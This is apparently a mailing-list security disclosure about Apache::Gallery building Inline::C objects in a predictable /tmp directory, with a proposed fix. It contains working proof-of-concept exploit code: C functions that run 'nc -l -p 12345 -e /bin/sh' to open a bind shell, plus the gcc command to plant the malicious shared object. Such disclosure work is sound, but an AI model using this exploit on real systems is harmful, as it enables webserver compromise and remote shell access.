Subject: | Apache::Gallery Exploit. possible fix. |
I've been wondering this for quite some time now. Every time I start up
apache with Apache::Gallery, I get this directory in /tmp:
/tmp/lib/auto/Apache/Gallery_4033
In there is a few config files for Inline::C, plus the shared objects
that are used by Apache::Gallery.
The problem is that this directory is always created and used with what
looks to be a predictable name every time. This usually isn't a problem
because the directories and files are not world writable, so its more of
an annoyance than anything. However, if the directories do _not_ exist
(say, after a reboot and /tmp gets wiped), Apache is left open to
attack. All a malicious user has to do is:
mkdir -p /tmp/lib/auto/Apache/Gallery_4033 # or whatever name
and then compile the following code:
/** Gallery_4033.c . Local webserver compromise. Spawns shell on port
* 12345 */
#include <stdlib.h>
void resizepicture(void) {
system("nc -l -p 12345 -e /bin/sh &");
exit(EXIT_SUCCESS);
}
void boot_Apache__Gallery_4033(void) {
system("nc -l -p 12345 -e /bin/sh &");
exit(EXIT_SUCCESS);
}
Compile it with something like `gcc -shared -fPIC -o
/tmp/lib/auto/Apache/Gallery_4033/Gallery_4033.so Gallery_4033.c`. The
next time Apache is restarted and someone views the gallery, a shell
will be listening on port 12345. Its not possible on all systems,
especially if /tmp isn't cleared on reboot. Still, its not very nice.
I believe the simplest fix is not to use File::Spec->tmpdir() in the
call to Inline, as not only will that almost return a world writeable
directory, and the Inline documentation clearly states:
"It is probably best to have a separate '.Inline/' directory for each project that you are working on. You may want to keep stable code in the <.Inline/> in your home directory. On multi-user systems, each user should have their own '.Inline/' directories. It could be a security risk to put the directory in a shared place like "/tmp/"."
I'm using Apache::Gallery 0.6 built from source, with perl 5.8.0 on Debian testing/unstable.
Thanks,
-jon